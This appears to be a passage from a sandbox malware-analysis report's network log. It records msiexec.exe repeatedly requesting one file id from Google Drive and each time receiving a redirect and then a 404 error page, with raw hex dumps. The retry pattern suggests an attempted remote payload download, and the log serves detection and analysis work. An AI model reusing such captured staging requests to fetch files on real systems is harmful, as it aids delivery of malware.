2025-02-19 19:37:25 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49993	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:26 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:26 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:26 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-ePkoH8x9wp69Yra0DCi2Jw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.11	49994	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:27 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:27 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iHU8pA9Y7cDRvQJcRmjuEqLRjCvtIrcGHgFI651EJbdWmPKJKSRMonpg0LFSonVmUlM0iUNS-M Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:27 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-2vLsVmpJhOcgkkrmq2YDnA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:27 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 33 70 54 43 61 55 30 67 34 69 36 63 59 71 34 4b 66 53 36 68 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="l3pTCaU0g4i6cYq4KfS6hg">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:27 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.11	49995	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:28 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:29 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:29 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-0b9ioW5aufMMqUWuS1mAJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.11	49996	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:29 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:30 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iEVimsz_kw5NMijIUhO2Ci7SWMgmiLe0s1Z53n0V9g7zVoqqLTGMqP47brYImBUzkQN Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:30 GMT Content-Security-Policy: script-src 'nonce-jono0toJh_SlZtpmsNea-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:30 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 73 7a 69 46 70 6a 62 67 4d 6a 6b 59 4c 75 2d 31 4f 66 78 74 54 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sziFpjbgMjkYLu-1OfxtTQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:30 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.11	49997	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:30 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:31 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:31 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce--n7PWgL0lnFDJ7tGnVpacA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.11	49998	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:32 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:32 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iEJQRiGd_EQuutLelnyodYbvuIcaxRCVsgdv2eBY-tSd1zBiFLlQ2kNXFrEowxBq_c4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:32 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-qPL95xsBlWX4dzSXuFysHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:32 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 70 5a 47 4e 62 71 61 59 36 59 71 49 67 69 54 6f 7a 4b 42 6d 4d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="pZGNbqaY6YqIgiTozKBmMA">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:32 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.11	49999	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:33 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:33 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:33 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-XyeSbnjROhZxV_feqDFG3w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.11	50000	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:34 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:34 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iHHLGd46jFEbNdV7i5viac697D7vWtzJUoCK5nivDekCk0wakgypQbY1BMmN39QGFITlkJ0DnI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:34 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-kLSGNzZ4R_gqXlneehGc5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:34 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 45 54 4d 33 66 30 4f 45 68 62 57 57 35 56 6c 39 41 47 6a 4a 76 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ETM3f0OEhbWW5Vl9AGjJvA">*{margin:0;padding:0}html,code{font:15px/22px arial
